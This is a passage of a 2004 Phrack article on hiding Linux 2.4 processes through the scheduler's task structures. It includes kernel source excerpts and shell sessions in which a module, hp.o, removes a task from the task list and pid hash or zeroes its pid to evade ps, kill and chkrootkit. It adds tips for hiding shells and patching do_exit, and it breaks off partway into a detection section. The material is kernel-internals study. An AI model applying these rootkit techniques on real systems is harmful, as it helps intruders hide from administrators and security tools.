1242 lines
44 KiB
Plaintext
1242 lines
44 KiB
Plaintext
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14
|
|
|
|
|=------=[ hiding processes ( understanding the linux scheduler ) ]=----=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------------=[ by ubra from PHI Group -- 17 October 2004 ]=-----------=|
|
|
|=-----=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=----=|
|
|
|
|
|
|
--[ Table of contents
|
|
|
|
1 - looking back
|
|
|
|
2 - the schedule(r) inside
|
|
|
|
3 - abusing the silence ( attacking )
|
|
|
|
4 - can you scream ? ( countering )
|
|
|
|
5 - references
|
|
|
|
6 - and the game dont stop..
|
|
|
|
7 - sources
|
|
|
|
|
|
|
|
--[ 1 - looking back
|
|
|
|
We begin our journey in the old days, when simply giving your
|
|
process a weird name was enough to hide inside the tree. Sadly this is
|
|
also quite effective these days due to lack of skill from stock admins.
|
|
In the last millenium ..well actualy just before 1999, backdooring
|
|
binaries was very popular (ps, top, pstree and others [1]) but this was
|
|
very easy to spot, `ls -l` easy / although some could only be cought by
|
|
a combination of size and some checksum / (i speak having in mind the
|
|
skilled admin, because, in my view, an admin that isnt a bit hackerish
|
|
is just the guy mopping up the keyboard). And it was a pain in the ass
|
|
compatibility wise.
|
|
|
|
LRK (linux root kit) [2] is a good example of a "binary" kit.
|
|
Not that long ago hackers started to turn towards the kernel to do their
|
|
evil or to secure it. So,like everywhere this was an incremental process,
|
|
starting from the upper level and going more inside kernel structures.
|
|
The obvious place to look first were system calls, the entry point from
|
|
userland to wonderland, and so the hooking method developed, be it by
|
|
altering the sys_call_table[] (theres an article out there LKM_HACKING
|
|
by pragmatic from THC about this [3]), or placing a jump inside the
|
|
function body to your own code (developed by Silvio Cesare [4]) or even
|
|
catching them at interrupt level (read about this in [5]).. and with this,
|
|
one could intercept certain interesting system calls.
|
|
|
|
But syscalls are by no means the last (first) point where the pid
|
|
structures get assembled. getdents() and alike are just calling on some
|
|
other function, and they are doing this by means of yet another layer,
|
|
going through the so called VFS. Hacking this VFS (Virtual FileSystem
|
|
layer) is the new trend on todays kits; and since all unices are basicaly
|
|
comprised of the same logical layers, this is (was) very portable. So as
|
|
you see we are building from higher levels, programming wise, to lower
|
|
levels; from simply backdoring the source of our troubles to going closer
|
|
to the root, to the syscalls (and the functions that are
|
|
"syscall-helpers"). The VFS is not by all means as low as we can go
|
|
(hehe we hackers enjoy rolling in the mud of the kernel). We yet have to
|
|
explore the last frontier (well relatively speaking any new frontier is
|
|
the last). Yup, the very structures that help create the pid list -
|
|
the task_structs. And this is where our journey
|
|
begins.
|
|
|
|
Some notes.. kernel studied is from 2.4 branch (2.4.18 for source
|
|
excerpts and 2.4.30 for patches and example code), theres some x86
|
|
specific code (sorry, i dont have access to other archs), also SMP is
|
|
not discussed for the same reason and anyway it should be clear in the
|
|
end what will be different from UP machines.
|
|
|
|
/*
|
|
it seems the method i explain here is begining to emerge in part
|
|
into the open underground in zero rk made by stealth from team teso, theres
|
|
an article about it in phrack 61 [6], i was just about to miss the small
|
|
REMOVE_LINKS looking so innocent there :-)
|
|
*/
|
|
|
|
|
|
|
|
--[ 2 - the schedule(r) inside
|
|
|
|
As processes give birth to other processes (just like in real life)
|
|
they call on execve() or fork() syscalls to either get replaced or get
|
|
splited into two different processes, a few things happen. We will look
|
|
into fork as this is more interesting from our point of view.
|
|
|
|
$ grep -rn sys_fork src/linux/
|
|
|
|
For i386 compatible archs which is what I have, you will see that
|
|
without any introduction this function calls do_fork() which is where the
|
|
arch independent work gets done. It is in kernel/fork.c.
|
|
|
|
<codesnip src="arch/i386/kernel/process.c" line=747>
|
|
asmlinkage int sys_fork(struct pt_regs regs)
|
|
{
|
|
return do_fork(SIGCHLD, regs.esp, ®s, 0);
|
|
}
|
|
</codesnip src="arch/i386/kernel/process.c">
|
|
|
|
Besides great things which are not within the scope of this here,
|
|
do_fork() allocates memory for a new task_struct
|
|
|
|
<codesnip src="kernel/fork.c" line=587>
|
|
int do_fork(unsigned long clone_flags, unsigned long stack_start,
|
|
struct pt_regs *regs, unsigned long stack_size)
|
|
{
|
|
.......
|
|
struct task_struct *p;
|
|
.......
|
|
p = alloc_task_struct();
|
|
</codesnip src="kernel/fork.c">
|
|
|
|
and does some stuff on it like initializing the run_list,
|
|
|
|
<codesnip src="kernel/fork.c" line=653>
|
|
INIT_LIST_HEAD(&p->run_list);
|
|
</codesnip src="kernel/fork.c">
|
|
|
|
which is basicaly a pointer (you should read about the linux linked list
|
|
implementation to grasp this clearly [7]) that will be used in a linked
|
|
list of all the processes waiting for the cpu and those expired (that got
|
|
the cpu taken away, not released it willingly by means of schedule()),
|
|
used inside the schedule() function.
|
|
|
|
The current priority array of what task queue we are in
|
|
<codesnip src="kernel/fork.c" line=687>
|
|
p->array = NULL;
|
|
</codesnip src="kernel/fork.c">
|
|
|
|
(well we arent in any yet); the prio array and the runqueues are used
|
|
inside the schedule() function to organize the tasks running and needing to
|
|
be run.
|
|
|
|
<codesnip src="kernel/sched.c" line=124>
|
|
typedef struct runqueue runqueue_t;
|
|
|
|
struct prio_array {
|
|
int nr_active;
|
|
spinlock_t *lock;
|
|
runqueue_t *rq;
|
|
unsigned long bitmap[BITMAP_SIZE];
|
|
list_t queue[MAX_PRIO];
|
|
};
|
|
|
|
/*
|
|
* This is the main, per-CPU runqueue data structure.
|
|
*
|
|
* Locking rule: those places that want to lock multiple runqueues
|
|
* (such as the load balancing or the process migration code), lock
|
|
* acquire operations must be ordered by ascending &runqueue.
|
|
*/
|
|
struct runqueue {
|
|
spinlock_t lock;
|
|
unsigned long nr_running, nr_switches, expired_timestamp;
|
|
task_t *curr, *idle;
|
|
prio_array_t *active, *expired, arrays[2];
|
|
int prev_nr_running[NR_CPUS];
|
|
} ____cacheline_aligned;
|
|
|
|
static struct runqueue runqueues[NR_CPUS] __cacheline_aligned;
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
We`ll be discussing more about this later.
|
|
|
|
The cpu time that this child will get; half the parent has goes to
|
|
the child (the cpu time is the amout of time the task will get the
|
|
processor for itself).
|
|
|
|
<codesnip src="kernel/fork.c" line=727>
|
|
p->time_slice = (current->time_slice + 1) >> 1;
|
|
current->time_slice >>= 1;
|
|
if (!current->time_slice) {
|
|
/*
|
|
* This case is rare, it happens when the parent has only
|
|
* a single jiffy left from its timeslice. Taking the
|
|
* runqueue lock is not a problem.
|
|
*/
|
|
current->time_slice = 1;
|
|
scheduler_tick(0,0);
|
|
}
|
|
</codesnip src="kernel/fork.c">
|
|
|
|
(for the neophytes, ">> 1" is the same as "/ 2")
|
|
|
|
Next we get the tasklist lock for write to place the new process in
|
|
the linked list and pidhash list
|
|
|
|
<codesnip src="kernel/fork.c" line=752>
|
|
write_lock_irq(&tasklist_lock);
|
|
.......
|
|
SET_LINKS(p);
|
|
hash_pid(p);
|
|
nr_threads++;
|
|
write_unlock_irq(&tasklist_lock);
|
|
</codesnip src="kernel/fork.c">
|
|
|
|
and release the lock. include/linux/sched.h has these macro and inline
|
|
functions, and the struct task_struct also:
|
|
|
|
<codesnip src="include/linux/sched.h" line=292>
|
|
struct task_struct {
|
|
.......
|
|
task_t *next_task, *prev_task;
|
|
.......
|
|
task_t *pidhash_next;
|
|
task_t **pidhash_pprev;
|
|
</codesnip src="include/linux/sched.h">
|
|
|
|
<codesnip src="include/linux/sched.h" line=532>
|
|
#define PIDHASH_SZ (4096 >> 2)
|
|
extern task_t *pidhash[PIDHASH_SZ];
|
|
|
|
#define pid_hashfn(x) ((((x) >> 8) ^ (x)) & (PIDHASH_SZ - 1))
|
|
|
|
static inline void hash_pid(task_t *p)
|
|
{
|
|
task_t **htable = &pidhash[pid_hashfn(p->pid)];
|
|
|
|
if((p->pidhash_next = *htable) != NULL)
|
|
(*htable)->pidhash_pprev = &p->pidhash_next;
|
|
*htable = p;
|
|
p->pidhash_pprev = htable;
|
|
}
|
|
</codesnip src="include/linux/sched.h">
|
|
|
|
<codesnip src="include/linux/sched.h" line=863>
|
|
#define SET_LINKS(p) do { \
|
|
(p)->next_task = &init_task; \
|
|
(p)->prev_task = init_task.prev_task; \
|
|
init_task.prev_task->next_task = (p); \
|
|
init_task.prev_task = (p); \
|
|
(p)->p_ysptr = NULL; \
|
|
if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \
|
|
(p)->p_osptr->p_ysptr = p; \
|
|
(p)->p_pptr->p_cptr = p; \
|
|
} while (0)
|
|
</codesnip src="include/linux/sched.h">
|
|
|
|
So, pidhash is an array of pointers to task_structs which hash to
|
|
the same pid, and are linked by means of pidhash_next/pidhash_pprev; this
|
|
list is used by syscalls which get a pid as parameter, like kill() or
|
|
ptrace(). The linked list is used by the /proc VFS and not only.
|
|
|
|
Last, the magic:
|
|
|
|
<codesnip src="kernel/fork.c" line=776>
|
|
#define RUN_CHILD_FIRST 1
|
|
#if RUN_CHILD_FIRST
|
|
wake_up_forked_process(p); /* do this last */
|
|
#else
|
|
wake_up_process(p); /* do this last */
|
|
#endif
|
|
</codesnip src="kernel/fork.c">
|
|
|
|
this is a function in kernel/sched.c which places the task_t (task_t is a
|
|
typedef to a struct task_struct) in the cpu runqueue.
|
|
|
|
<codesnip src="kernel/sched.c" line=347>
|
|
void wake_up_forked_process(task_t * p)
|
|
{
|
|
.......
|
|
p->state = TASK_RUNNING;
|
|
.......
|
|
activate_task(p, rq);
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
So lets walk through a process that after it gets the cpu calls just
|
|
sys_nanosleep (sleep() is just a frontend) and jumps in a never ending loop,
|
|
ill try to make this short. After setting the task state to
|
|
TASK_INTERRUPTIBLE (makes sure we get off the cpu queue when schedule() is
|
|
called), sys_nanosleep() calls upon another function, schedule_timeout()
|
|
which sets us on a timer queue by means of add_timer() which makes sure we
|
|
get woken up (that we get back on the cpu queue) after the delay has
|
|
passed and effectively relinquishes the cpu by calling shedule() (most
|
|
blocking syscalls implement this by putting the process to sleep until the
|
|
perspective resource is available).
|
|
|
|
<codesnip src="kernel/timer.c" line=877>
|
|
asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp)
|
|
{
|
|
.......
|
|
current->state = TASK_INTERRUPTIBLE;
|
|
expire = schedule_timeout(expire);
|
|
</codesnip src="kernel/timer.c">
|
|
|
|
<codesnip src="kernel/timer.c" line=819>
|
|
signed long schedule_timeout(signed long timeout)
|
|
{
|
|
struct timer_list timer;
|
|
.......
|
|
init_timer(&timer);
|
|
timer.expires = expire;
|
|
timer.data = (unsigned long) current;
|
|
timer.function = process_timeout;
|
|
|
|
add_timer(&timer);
|
|
schedule();
|
|
</codesnip src="kernel/timer.c">
|
|
|
|
If you want to read more about timers look into [7].
|
|
|
|
Next, schedule() takes us off the runqueue since we already arranged
|
|
to be set on again there later by means of timers.
|
|
|
|
<codesnip src="kernel/sched.c" line=744>
|
|
asmlinkage void schedule(void)
|
|
{
|
|
.......
|
|
deactivate_task(prev, rq);
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
(remember that wake_up_forked_process() called activate_task() to place us
|
|
on the active run queue). In case there are no tasks in the active queue
|
|
it tryes to get some from the expired array as it needs to set up for
|
|
another task to run.
|
|
|
|
<codesnip src="kernel/sched.c" line=784>
|
|
if (unlikely(!array->nr_active)) {
|
|
/*
|
|
* Switch the active and expired arrays.
|
|
*/
|
|
.......
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
Then finds the first process there and prepares for the switch (if it
|
|
doesnt find any it just leaves the current task running).
|
|
|
|
<codesnip src="kernel/sched.c" line=805>
|
|
context_switch(prev, next);
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
This is an inline function that prepares for the switch which will get done
|
|
in __switch_to() (switch_to() is just another inline function, sort of)
|
|
|
|
<codesnip src="kernel/sched.c" line=400>
|
|
static inline void context_switch(task_t *prev, task_t *next)
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
<codesnip src="include/asm-i386/system.h" line=15>
|
|
#define prepare_to_switch() do { } while(0)
|
|
#define switch_to(prev,next,last) do { \
|
|
asm volatile("pushl %%esi\n\t" \
|
|
"pushl %%edi\n\t" \
|
|
"pushl %%ebp\n\t" \
|
|
"movl %%esp,%0\n\t" /* save ESP */ \
|
|
"movl %3,%%esp\n\t" /* restore ESP */ \
|
|
"movl $1f,%1\n\t" /* save EIP */ \
|
|
"pushl %4\n\t" /* restore EIP */ \
|
|
"jmp __switch_to\n" \
|
|
"1:\t" \
|
|
"popl %%ebp\n\t" \
|
|
"popl %%edi\n\t" \
|
|
"popl %%esi\n\t" \
|
|
:"=m" (prev->thread.esp),"=m" (prev->thread.eip), \
|
|
"=b" (last) \
|
|
:"m" (next->thread.esp),"m" (next->thread.eip), \
|
|
"a" (prev), "d" (next), \
|
|
"b" (prev)); \
|
|
} while (0)
|
|
</codesnip src="include/asm-i386/system.h">
|
|
|
|
Notice the "jmp __switch_to" inside all that assembly code that
|
|
simply arranges the arguments on the stack.
|
|
|
|
<codesnip src="arch/i386/kernel/process.c" line=682>
|
|
void __switch_to(struct task_struct *prev_p, struct task_struct *next_p)
|
|
{
|
|
</codesnip src="arch/i386/kernel/process.c">
|
|
|
|
context_switch() and switch_to() causes what is known as a context switch
|
|
(hence the name) which in not so many words is giving the processor and
|
|
memory control to another task.
|
|
|
|
But enough of this; now what happends when we jump in the never
|
|
ending loop. Well, its not actually a never ending loop, if it would be
|
|
your computer would just hang. What actually happends is that your task
|
|
gets the cpu taken away from it every once in a while and gets it back
|
|
after some other tasks get time to run (theres queueing mechanisms that
|
|
let tasks share the cpu based on theire priority, if our task would have
|
|
a real time priority it would have to release the cpu manualy by
|
|
sched_yeld()). So how exactly is this done; lets talk a bit about the
|
|
timer interrupt first coz its closely related.
|
|
|
|
This is a function like most things are in the linux kernel, and its
|
|
described in a struct
|
|
|
|
<codesnip src="arch/i386/kernel/time.c" line=556>
|
|
static struct irqaction irq0 = { timer_interrupt, SA_INTERRUPT, 0,
|
|
"timer", NULL, NULL};
|
|
</codesnip src="arch/i386/kernel/time.c">
|
|
|
|
and setup in time_init.
|
|
|
|
<codesnip src="arch/i386/kernel/time.c" line=635>
|
|
void __init time_init(void)
|
|
{
|
|
.......
|
|
#ifdef CONFIG_VISWS
|
|
.......
|
|
setup_irq(CO_IRQ_TIMER, &irq0);
|
|
#else
|
|
setup_irq(0, &irq0);
|
|
#endif
|
|
</codesnip src="arch/i386/kernel/time.c">
|
|
|
|
After this, every timer click, timer_interrupt() is called and at some
|
|
point calls do_timer_interrupt()
|
|
|
|
<codesnip src="arch/i386/kernel/time.c" line=466>
|
|
static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
|
|
{
|
|
.......
|
|
do_timer_interrupt(irq, NULL, regs);
|
|
</codesnip src="arch/i386/kernel/time.c">
|
|
|
|
which calls on do_timer (bare with me).
|
|
|
|
<codesnip src="arch/i386/kernel/time.c" line=393>
|
|
static inline void do_timer_interrupt(int irq, void *dev_id,
|
|
struct pt_regs *regs)
|
|
{
|
|
.......
|
|
do_timer(regs);
|
|
</codesnip src="arch/i386/kernel/time.c">
|
|
|
|
do_timer() does two things, first update the current process times and
|
|
second call on schedule_tick() which precurses schedule() by first taking
|
|
the current process of the active array and placing it in the expired
|
|
array; this is the place where bad processes (the dirty hogs :-) get
|
|
their cpu taken away from them.
|
|
|
|
<codesnip src="kernel/timer.c" line=665>
|
|
void do_timer(struct pt_regs *regs)
|
|
{
|
|
(*(unsigned long *)&jiffies)++;
|
|
#ifndef CONFIG_SMP
|
|
/* SMP process accounting uses the local APIC timer */
|
|
|
|
update_process_times(user_mode(regs));
|
|
#endif
|
|
</codesnip src="kernel/timer.c">
|
|
|
|
<codesnip src="kernel/timer.c" line=578>
|
|
/*
|
|
* Called from the timer interrupt handler to charge one tick to the
|
|
* current process. user_tick is 1 if the tick is user time, 0 for system.
|
|
*/
|
|
void update_process_times(int user_tick)
|
|
{
|
|
.......
|
|
update_one_process(p, user_tick, system, cpu);
|
|
scheduler_tick(user_tick, system);
|
|
}
|
|
</codesnip src="kernel/timer.c">
|
|
|
|
<codesnip src="kernel/sched.c" line=663>
|
|
/*
|
|
* This function gets called by the timer code, with HZ frequency.
|
|
* We call it with interrupts disabled.
|
|
*/
|
|
void scheduler_tick(int user_tick, int system)
|
|
{
|
|
.......
|
|
/* Task might have expired already, but not scheduled off yet */
|
|
if (p->array != rq->active) {
|
|
p->need_resched = 1;
|
|
return;
|
|
}
|
|
.......
|
|
if (!--p->time_slice) {
|
|
dequeue_task(p, rq->active);
|
|
p->need_resched = 1;
|
|
.......
|
|
if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) {
|
|
.......
|
|
enqueue_task(p, rq->expired);
|
|
} else
|
|
enqueue_task(p, rq->active);
|
|
}
|
|
</codesnip src="kernel/sched.c">
|
|
|
|
Notice the "need_resched" field of the task struct getting set; now the
|
|
ksoftirqd() task which is a kernel thread will catch this process and call
|
|
schedule()
|
|
|
|
[root@absinth root]# ps aux | grep ksoftirqd
|
|
root 3 0.0 0.0 0 0 ? SWN 11:45 0:00 [ksoftirqd_CPU0]
|
|
|
|
<codesnip src="kernel/softirq.c" line=398>
|
|
__init int spawn_ksoftirqd(void)
|
|
{
|
|
.......
|
|
for (cpu = 0; cpu < smp_num_cpus; cpu++) {
|
|
if (kernel_thread(ksoftirqd, (void *) (long) cpu,
|
|
CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0)
|
|
printk("spawn_ksoftirqd() failed for cpu %d\n", cpu);
|
|
.......
|
|
|
|
__initcall(spawn_ksoftirqd);
|
|
</codesnip src="kernel/softirq.c">
|
|
|
|
<codesnip src="kernel/softirq.c" line=361>
|
|
static int ksoftirqd(void * __bind_cpu)
|
|
{
|
|
.......
|
|
for (;;) {
|
|
.......
|
|
if (current->need_resched)
|
|
schedule();
|
|
.......
|
|
</codesnip src="kernel/softirq.c">
|
|
|
|
And if all this seems bogling to you dont worry, just walk through
|
|
the kernel sources again from the begining and try to understand more than
|
|
im explaining here, no one expects you to understand from the first read
|
|
through such a complicated process like the linux scheduling.. remeber that
|
|
the cookie lies in the details ;-) you can read more about the linux
|
|
scheduler in [7], [8] and [9]
|
|
|
|
Every cpu has its own runqueue, so apply the same logic for SMP;
|
|
|
|
So you can see how a process can be on any number of lists waiting
|
|
for execution, and if its not on the linked task_struct list we`re in big
|
|
trouble trying to find it. The linked and pidhash lists are NOT used by
|
|
the schedule() code to run your program as you saw, some syscalls do use
|
|
these (ptrace, alarm, the timers in general which use signals and all
|
|
calls that use a pid - for the pidhash list)
|
|
|
|
Another note to the reader..all example progs from the _attacking_
|
|
section will be anemic modules, no dev/kmem for you since i dont want my
|
|
work to wind up in some lame rk that would only contribute to wrecking the
|
|
net, although kmem counterparts have been developed and tested to work
|
|
fine, and also, with modules we are more portable, and our goal is to
|
|
present working examples that teach and dont krash your kernel; the
|
|
countering section will not have a kmem enabled prog simply because I'm
|
|
lazy and not in the mood to mess with elf relocations (yup to loop the
|
|
list in a reliable way we have to go in kernel with the code)..
|
|
I'll be providing a kernel patch though for those not doing modules.
|
|
|
|
You should know that if any modules give errors like
|
|
"hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
|
|
You may find more information in syslog or the output from dmesg"
|
|
when inserting, this is a "feature" (heh) so that you wont have to rmmod
|
|
it, the modules do the job theyre supposed to.
|
|
|
|
|
|
--[ 3 - abusing the silence ( attacking )
|
|
|
|
If you dont have the IQ of a windoz admin, it should be pretty clear
|
|
to you by now where we are going with this. Oh im sorry i meant to say
|
|
"Windows (TM) admin (TM)" but the insult still goes. Since the linked list
|
|
and pidhash have no use to the scheduler, a program, a task in general
|
|
(kernel threads also) can run happy w/o them. So we remove it from there
|
|
with REMOVE_LINKS/unhash_pid and if youve been a happy hacker looking at
|
|
all of the sources ive listed you know by now what these 2 functions do.
|
|
All that will suffer from this operation is the IPC methods (Inter Process
|
|
Comunications); heh well were invisible why the fuck would we answer if
|
|
someone asks "is someone there ?" :) however since only the linked list is
|
|
used to output in ps and alike we could leave pidhash untouched so that
|
|
kill/ptrace/timers.. will work as usualy. but i dont see why would anyone
|
|
want this as a simple bruteforce of the pid space with kill(pid,0) can
|
|
uncover you.. See pisu program that i made that does just that but using 76
|
|
syscalls besides kill that "leak" pid info from the two list structures. So
|
|
you get the picture, right ?
|
|
|
|
hp.c is a simple module to hide a task:
|
|
|
|
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o
|
|
|
|
|
|
[Method 1]
|
|
|
|
Now to show you what happends when we unlink the process from certain
|
|
lists; first from the linked list
|
|
|
|
[root@absinth ksched]# ps aux | grep sleep
|
|
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
|
|
root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep
|
|
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
[root@absinth ksched]# tail -2 /var/log/messages
|
|
Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid
|
|
1129 is 0xc0f44000
|
|
Mar 13 22:02:50 absinth kernel: [HP] removing process links
|
|
[root@absinth ksched]# ps aux | grep sleep
|
|
root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep
|
|
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
[root@absinth ksched]# tail -1 /var/log/messages
|
|
Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000
|
|
Mar 13 22:03:53 absinth kernel: [HP] setting process links
|
|
[root@absinth ksched]# ps aux | grep sleep
|
|
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
|
|
root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep
|
|
[root@absinth ksched]#
|
|
|
|
|
|
[Method 2] (actualy an added enhacement to method 1)
|
|
|
|
Point made. Now from the hash list
|
|
|
|
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
|
|
[root@absinth ksched]# tail -2 /var/log/messages
|
|
Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129
|
|
is 0xc0f44000
|
|
Mar 13 22:07:04 absinth kernel: [HP] unhashing pid
|
|
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
[root@absinth ksched]# tail -1 /var/log/messages
|
|
Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000
|
|
Mar 13 22:07:18 absinth kernel: [HP] hashing pid
|
|
[root@absinth ksched]# kill -9 1129
|
|
[root@absinth ksched]#
|
|
|
|
So upon removing from the hash list the process also becomes invulnerable
|
|
to kill signals and any other syscalls that use the hash list for that
|
|
matter. This also hides your task from methods of uncovering like
|
|
kill(pid,0) which chkrootkit [10] uses.
|
|
|
|
* methods 1 and 2 arent that good at hideing shells since most have builtin
|
|
job control and that requires a working find_task_by_pid() and
|
|
for_each_task() (look at sys_setpgid() sources), however, if you know how
|
|
to disable that it works just fine :P ok ill give you a hint, make the
|
|
standard output/input not a terminal.
|
|
|
|
|
|
[Method 3]
|
|
|
|
But this is kids stuff; lets abuse the way the function that generates the
|
|
pid list for the /proc VFS works.
|
|
|
|
<codesnip src="fs/proc/base.c" line=1057>
|
|
static int get_pid_list(int index, unsigned int *pids)
|
|
{
|
|
.......
|
|
for_each_task(p) {
|
|
.......
|
|
if (!pid)
|
|
continue;
|
|
</codesnip src="fs/proc/base.c">
|
|
|
|
Have you spoted the not ? :-) cmon its easy, just make our pid 0 and we
|
|
wont get listed (pid 0 tasks are of a special kernel breed and thats why
|
|
they dont get listed there - actualy the kernel itself, the first "task"
|
|
and its cloned children like the swapper); also since we are changing the
|
|
pid but not rehashing the pid position in the hash list all searches for
|
|
pid 0 will go to the wrong hash and all searches for our old pid will
|
|
find a task with a pid of 0, well it will fail each time. An interesting
|
|
side effect of having pid 0 is that the task can call clone() [11] with a
|
|
flag of CLONE_PID, effectively spawning hidden children as well;
|
|
aint that a threat? The old pid can be recovered from tgid member of the
|
|
task_struct since getpid() does it so can we, and moreover this method
|
|
is so safe to do from user space since we arent complicating with
|
|
possible race conditions screwing with the task list pointers. Well safe
|
|
as long as your process doesnt exit as we are just changing its pid..
|
|
|
|
<codesnip src="kernel/timer.c" line=710>
|
|
asmlinkage long sys_getpid(void)
|
|
{
|
|
/* This is SMP safe - current->pid doesn't change */
|
|
return current->tgid;
|
|
}
|
|
</codesnip src="kernel/timer.c">
|
|
|
|
btw if we change only the pid to 0 there will be no danger that another
|
|
process migth be assigned the same pid we _had_ because in the get_pid()
|
|
func theres a check for tgid also, which we leave untouched and use to
|
|
restore the pid (just read the source for hp.c)
|
|
|
|
[root@absinth ksched]# ps aux | grep sleep
|
|
root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
|
|
root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep
|
|
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
[root@absinth ksched]# tail -2 /var/log/messages
|
|
Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991
|
|
is 0xc30f0000
|
|
Mar 16 19:14:07 absinth kernel: [HP] zerofing pid
|
|
[root@absinth ksched]# ps aux | grep sleep
|
|
root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep
|
|
[root@absinth ksched]# kill -9 1991
|
|
bash: kill: (1991) - No such process
|
|
[root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4
|
|
hp.o: init_module: Device or resource busy
|
|
Hint: insmod errors can be caused by incorrect module parameters,
|
|
including invalid IO or IRQ parameters
|
|
You may find more information in syslog or the output from dmesg
|
|
[root@absinth ksched]# tail -1 /var/log/messages
|
|
Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000
|
|
Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991
|
|
[root@absinth ksched]# ps aux | grep sleep
|
|
root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
|
|
[root@absinth ksched]#
|
|
|
|
See how cool is this? I might say that all this article is about is
|
|
zerofing pids in task_structs :-)
|
|
(and you only have to change 2 bytes at most to hide a process !)
|
|
|
|
* your task should never call exit when having pid 0 or it will suck from
|
|
do_exit which is called by sys_exit
|
|
|
|
<codesnip src="kernel/exit.c" line=480>
|
|
NORET_TYPE void do_exit(long code)
|
|
{
|
|
.......
|
|
if (!tsk->pid)
|
|
panic("Attempted to kill the idle task!");
|
|
<codesnip src="kernel/exit.c">
|
|
|
|
That is if you hide your shell like this be sure to unhide it (set its pid
|
|
to something) before you `exit`.. or , dont mind me and exit the whole
|
|
system hehe. In a compromised environment do_exit could have that
|
|
particular part overwritten with nops (no operation instruction - an
|
|
asm op code that does nothing).
|
|
|
|
You can use for the method field when insmoding hp.o any combination of the
|
|
3 bit flags presented
|
|
|
|
|
|
|
|
--[ 4 - can you scream ? ( countering)
|
|
|
|
Should you scream? Well, yes. Detecting the first method can be a
|
|
waiting game or at best, a hide and seek pain-in-the-ass inside all the
|
|
waiting queues around the kernel, while holding the big lock. But no, its
|
|
not imposible to find a hidden process even if it could mean running a rt
|
|
task that will take over the cpu(s) and binary search the kmem device.
|
|
This could be done as a brute force for certain magic numbers inside the
|
|
task struct whithin the memory range one could get allocated and look if
|
|
its valid with something like testing its virtual memory structures but
|
|
this has the potential to be very unreliable (and ..hard).
|
|
|
|
Finding tasks that are hiden this way is a pain as no other structure
|
|
contains a single tasks list so that in a smooth soop we could itterate and
|
|
see what is not inside the linked list and pidhash and if there would be we
|
|
wouldve probably removed out task from there too hehe. If you think by now
|
|
this will be the ultimate kiddie-method, hope no more, were smart people,
|
|
for every problem we release the cure also. So there is a ..way :) .. a
|
|
clever way exploiting what every process desires, the need to run ;-} *evil
|
|
grin*
|
|
|
|
This method can take a while however, if a process blocks on some call like
|
|
listen() since we only catch them when they _run_ while being _hidden_.
|
|
|
|
Other checks could verify the integrity of the linked list, like the
|
|
order in the list and the time stamps or something (know that ptrace() [12]
|
|
fucks with this order).
|
|
|
|
To backdoor switch_to (more exactly __switch_to, remember the first
|
|
is a define) is a bit tricky from a module, however ive done it but it
|
|
doesnt seem very portable so instead, from a module, we hook the syscall
|
|
gate thus exploiting the *need to call* of programs :-), which is very
|
|
easy, and every program in order to run usefuly has to call some syscalls,
|
|
right?
|
|
|
|
But so that you know, to trap into schedule() from a module (or from kmem
|
|
for that matter) we find the address of __switch_to(). We could do this
|
|
two ways, either do some pattern matching for calls inside schedule() or
|
|
notice that sys_fork() is right after __switch_to() and do some math.
|
|
After that just insert a hook at the end of __switch_to (doing it before
|
|
